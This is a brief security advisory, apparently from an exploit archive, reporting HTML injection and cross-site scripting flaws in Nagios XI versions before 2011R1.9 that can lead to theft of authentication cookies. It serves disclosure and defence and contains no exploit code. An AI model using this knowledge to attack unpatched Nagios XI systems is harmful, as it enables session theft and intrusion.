Nagios XI – Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
source: www.securityfocus.com/bid/51069/info Nagios XI is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. Nagios XI versions prior to 2011R1.9 are vulnerable.
